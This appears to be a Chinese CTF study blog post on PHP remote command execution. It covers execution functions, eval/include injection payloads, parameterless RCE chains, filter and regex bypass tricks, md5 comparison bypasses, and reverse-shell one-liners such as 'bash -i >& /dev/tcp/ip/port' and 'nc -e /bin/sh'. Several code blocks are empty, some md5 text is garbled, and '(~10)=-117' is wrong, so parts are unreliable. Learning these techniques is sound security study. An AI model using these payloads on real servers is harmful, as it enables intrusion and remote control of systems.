这里总结了常见的RCE注入方式和绕过姿势,本人才疏学浅,可能覆盖面不够广,以后在练习中遇到新的会继续总结,持续更新中。
常见的PHP的执行命令函数如下:
system():
1 | <?php |
popen():
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。
1 | <?php |
passthru():
1 | <?php |
shell_exec():
需通过PHP的输出函数将结果输出;
1 | <?php |
proc_open():
1 | <php |
exec():
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果想得到全部的结果,可使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。
1 | string exec ( string $command [, array &$output [, int &$return_var ]] ) |
$command:
1 | <?php |
注入方式
执行系统命令
一般会过滤字符
内联执行(反字节符)
1 | echo%20`tac%20fla*`; |
echo配合反引号
利用参数输入+eval
1 | ?c=eval($_GET[1]);&1=system("tac%20fla*.php"); |
利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
利用cp命令将flag拷贝到别处
1 | cp flag.php a.txt |
中国蚁剑
传入一句话木马然后蚁剑连接
无参数RCE
条件:
- (?R)引用当前表达式,后面加了?递归调用。允许执行类似
a(b(c()))
格式的无参数函数;
实例代码
1 | <?php |
/[^\W]+\((?R)?\)/
:这是正则表达式模式,它包含以下部分:
[^\W]+
:这是一个字符类,匹配不是非单词字符(包括字母、数字和下划线)的字符。这部分表示匹配一个或多个非括号字符。\(
:这是匹配左括号 “(“ 的普通字符。(?R)?
:这是一个递归子模式,它允许在模式中嵌套匹配括号内的内容。(?R)
表示匹配模式自身,这允许在括号内嵌套括号。?
表示这个部分是可选的,允许零次或一次匹配。\)
:这是匹配右括号 “)” 的普通字符。
方法一
查看当前目录下的文件,此处利用scandir()
实现:
1 | print_r(scandir(".")); #表示获取当前目录下的文件;?> |
1 | <?php print_r(scandir("../")); #表示获取上一级目录下的文件;?> |
于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')
函数中加入参数。故此处使用current(localeconv())
表示“.”。其中localeconv()
函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是”.”。current()
返回数组中的当前单元, 默认取第一个值。
读取文件内容我们可以想到的函数有:
- file_get_contents() #把整个文件读入一个字符串中;
- file #把整个文件读入一个数组中;
- readfile() #读入一个文件并写入到输出缓冲;
- highlight_file() #对文件进行语法高亮显示;
- show_source() #对文件进行语法高亮显示;
\3. 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢?
- 利用
array_flip()
函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php
; - 其中的键可以利用随机数函数
array_rand()
,进行随机生成;
一:
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造
1 | exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
二:
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):
1 | exp=show_source(array_rand(array_flip(scandir(pos(localeconv()))))); |
三:
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;
所以可以构造
1 | exp=show_source(session_id(session_start())); |
方法二
除了调用php自身的库函数读取文件内容以外,还可以通过调用php的执行命令函数,读取flag文件内容。
\1. 在无需输入参数的情况下,获取外界变量值
此处,用到一个函数,get_defined_vars ( void ) ,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量等。
1 | print_r(get_defined_vars());&b=1 |
\2. 提取变量b,并输出对应的值1
通过输出的值可以看出变量b在参数数组中为第一个值,故可以用current函数,current函数用于初始指向插入到数组中的第一个单元。
1 | exp=var_dump(end(current(get_defined_vars())));&b=1 |
\3. 命令执行
于是,最后一步,配合使用eval()函数,将b后面参数转换成php代码进行执行,此处可以使用上面介绍的几种命令执行函数获取flag。
1 | ?exp=eval(end(current(get_defined_vars())));&b=phpinfo(); |
方法三
通常情况下我们通过get、post传递参数,其实也可以利用http headers传递参数。此处就给大家介绍一种利用http headers头部的session的函数获取flag内容。通过查阅PHP手册,可以发现session_id() 可以用来获取/设置当前会话 ID。接下来就介绍下session_id()函数。
当在代码中没有开启session会话时,提交请求中是不包含session字段内容的,如下所示:
1 | <?php |
当我们通过session_start()函数,开启会话以后,在burpsuite拦截的数据包中,可以看到PHPSESSIONID字段。
1 | <?php |
也可以输出session_id相关内容,并且session_id我们也可以认为控制输入。
1 | <?php |
由于,session_id()中,仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号);故此时使用十六进制转换,将phpinfo();转换成十六进制,在函数中又将其转换成对应的字符串形式即可。相关代码如下所示:
1 | <?php |
绕过姿势
preg_match过滤
用*代替个别字符
使用eval嵌套。具体参数:passthru 结合%09
还可以跑脚本
过滤空格
1 | CODE |
过滤关键字
1 | more flag |
绕过正则
1 | 换行污染 |
Bash盲注
1 | 利用&&的特性,只有前一条语句成功后一条语句执行 |
source命令
用法:source filename
表示在当前bash环境下读取并执行filename中的命令
该命令通常用命令“.”来替代,即 . filename
?通配符
主要有星号(*)和问号(?),用来模糊搜索文件
星号”*”指代任意字符数,问号“?”指代1个字符
波浪线“~”则用来将问号和星号转换为普通字符,而不是作为通配符使用
比如我们要cat一个flag东西但是不知道具体名字,只知道以f开头
可以 cat /f* 则会匹配所有以f开头的文件
有时候还会遇到很多字母被过滤了也可以使用?来进行匹配
比如只能使用o这一个字母, /???/??oo?/??o? 就可以匹配到 /var/spool/cron(假设该路径存在)
<?=的用法
命令执行方式有:
1 | system('ls'); echo('ls'); |
1 | ?><?=`ls`; |
是为了闭合前面的php语句,后面则为执行命令的语句
反引号``(tab键上面的那个)
在php中,反引号可以直接命令执行系统命令,反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,如果不是则会出错。
比如:= `ls` ?> 就会执行ls命令
但是如果想要输出执行结果还需要使用 echo 函数
1 | <?php echo `ls`;?> 或者 <?= echo `ls`?> |
php标签
在php中,
1 | <? ?> |
称为短标签,
1 | <?php ?> |
称为长标签。
当关键字 “php” 被过滤了之后,此时我们便不能使用了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号(;)。
+在url中表示空格
url中的+表示空格,而要表示+号必须得用%2B,即URL编码Shell字符串截取
md5常见问题及绕过
1、 md5爆破
2、md5弱比较
3、md5强比较
4、md5强碰撞
5、加密后弱相等
6、解密后的md5字符串有特殊字符
md5爆破
substr(md5(captcha), -6, 6) == "5bcba3"
给出md5加密后的几位,可以进行爆破
1 | <?php |
功防世界-SSRF Me
这是涉及到该知识点的题目
md5弱比较
md5弱比较形式:if($a != $b && md5($a) == md5($b))
这里有两种方法
- 0e绕过
- 数组绕过
0e绕过:是md5加密后是0exxxxx的形式,在==弱比较时,会被当做科学技术法,众所周知,0的任何次方都是0,自然判断为true
大佬整理的md5加密后0e开头
数组绕过:a[]=a&b[]=b,传入参数为数组则MD5返回NULL,null=null,判断为true,成功绕过
md5强比较
md5强比较形式:if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
0e绕过不能用了,因为强比较时,0exxx不再被当做科学计数法,而是被当做字符串。
数组绕过仍然可以。
md5强碰撞
什么叫强md5碰撞?
一般比较简单的是像这种 if(md5(a 1 ) = = m d 5 ( a1) == md5(a1)==md5(a2)),我们称为弱比较类型,而像 if(md5(a 1 ) = = = m d 5 ( a1) === md5(a1)===md5(a2)) 则是属于强比较类型,区别就是 == 和 ===,我们可以这么理解
== :只比较值
=== :比较值和类型
md5强碰撞形式:if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b']))
强碰撞用string强行转换成字符串,从而限制了数组绕过这方法,只能输入字符串。
将a.txt拖到fastcoll_v1.0.0.5.exe上,然后读a_msg1.txt和a_msg2.txt
1 |
|
md5强碰撞
[buu-easy_web](https://buuoj.cn/challenges#[安洵杯 2019]easy_web)
加密后弱相等
形式如下:if ($md5==md5($md5))
可以找0e开头并且md5后仍然0e开头的字符串,这样0==0,就可以绕过了。
这里可以用0e215962017。
buu-朴实无华
师傅们可以尝试一下
md5后含有特殊字符
PHP的md5()函数我们一般指使用一个参数,但它是有两个参数的,第二个参数默认为false
看一下PHP手册
比较一下两种方式的不同
介绍完后,我们来看题目
buu上的一道题
有md5弱比较,强比较和特殊字符3个点
[Easy MD5](https://buuoj.cn/challenges#[BJDCTF2020]Easy MD5)select * from 'admin' where password=md5($pass,true)
Shell字符串截取
从指定位置开始截取
从字符串左边开始计数
从左边开始计数,截取字符串的格式如下
1 | ${string:start:length} |
例如:
1 | #! /bin/bash |
结果为//www.baidu
再如:
1 | #! /bin/bash |
从右边开始计数
从右边开始计数,截取字符串的格式如下
1 | ${string:0-start:length} |
同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数
需要注意下面两点:
- 从左边开始计数时,起始数字是0;从右边开始计数时,起始数字是1
- 不管从哪边计数,截取方向都是从左到右
例如:
1 | #! /bin/bash |
结果为baidu
。从右边数,b
是第9个字符
再如:
1 | #! /bin/bash |
结果为baidu.com
从指定字符(子字符串)开始截取
这种截取方式无法指定字符串长度,只能从指定字符(子字符串)截取到字符串末尾。Shell 可以截取指定字符(子字符串)右边的所有字符,也可以截取左边的所有字符。
使用#号截取右边字符
使用#号可以截取指定字符(子字符串)右边的所有字符,具体格式如下:
1 | ${string#*chars} |
其中,string表示要截取的字符串,chars是指定的字符(或子字符串),是通配符,表示任意长度的字符串,chars连起来可理解为忽略左边的所有字符,直到遇到chars(chars不会被截取)
例如:
1 | #! /bin/bash |
结果为www.baidu.com
如果不需要忽略chars左边的字符,那么也可以不写*
,例如
1 | #! /bin/bash |
结果为www.baidu.com
注意:以上写法遇到第一个匹配的字符(子字符串)就结束了。
例如
1 | #! /bin/bash |
结果为/www.baidu.com/index.html
。url字符串中有三个/
,输出结果表明,Shell遇到第一个/
就匹配结束了
如果希望直到最后一个指定字符(子字符串)再匹配结束,那么可以使用##
,具体格式为:${string##*chars}
例如:
1 | #! /bin/bash |
使用%截取左边字符
使用%
号可以截取指定字符(或者子字符串)左边的所有字符,具体格式如下:
1 | ${string%chars*} |
请注意*
的位置,因为要截取chars左边的字符,而忽略chars右边的字符串,所以*
应该位于chars右侧,其他方面 %
和 #
号的用法相同
1 | #! /bin/bash |
无回显RCE
反弹shell
遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了
一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1
这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc
进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc
,这里就先演示一下用nc
反弹,利用nc -e /bin/sh ip port
进行反弹
dnslog外带数据法
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件, DNSlog 在线平台
基本原理
我注册了一个为 a.com 的域名,我将他 a 记录泛解析到 10.0.0.0 上,这样就实现了无论我记录值填什么他都有解析,并且都指向 10.0.0.0,当我向 dns 服务器发起 test.a.com 的解析请求时,DNSlog 中会记录下他给 test.a.com 解析,解析值为 10.0.0.0(通俗来讲就是我们申请一个 dnslog 的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog 平台就会把请求的记录显示出来)。
preg_match正则回溯绕过
正则回溯然后量过大必然会消耗大量的时间甚至会被DOS攻击
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。
我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。
脚本
1 | poc: |
利用位运算符进行构造
1.与(&)运算符
规则:两个操作数对应二进制位同样为1 结果位 才为1,否则为0;
所以10&12=8
2.或(|)运算符
规则:两个操作数对应二进制位同样为0结果位 才为0,否则为1;
所以10|12=14
3.非(~,按位取反)运算符
规则:一个二进制操作数,对应位为0,结果位为1;对应位为1,结果位为0; (作用是将每位二进制取反)
(~10)=-117
4.异或(^)运算符
规则:两个操作数对应二进制位相同则结果位 为0,不同则为1
10^12=6
5.移位运算符(<< 和 >>)
- 左移(<<)运算符
右边空出来的位用0填补高位左移溢出则舍弃该高位
在数字没有溢出的前提下,对于正数和负数,左移一位都相当于乘以2的1次方,左移n位就相当于乘以2的n次方。—–》乘法
- 右移(>>)运算符
左边空出来的位用0或1填补,正数用0负数用1填补。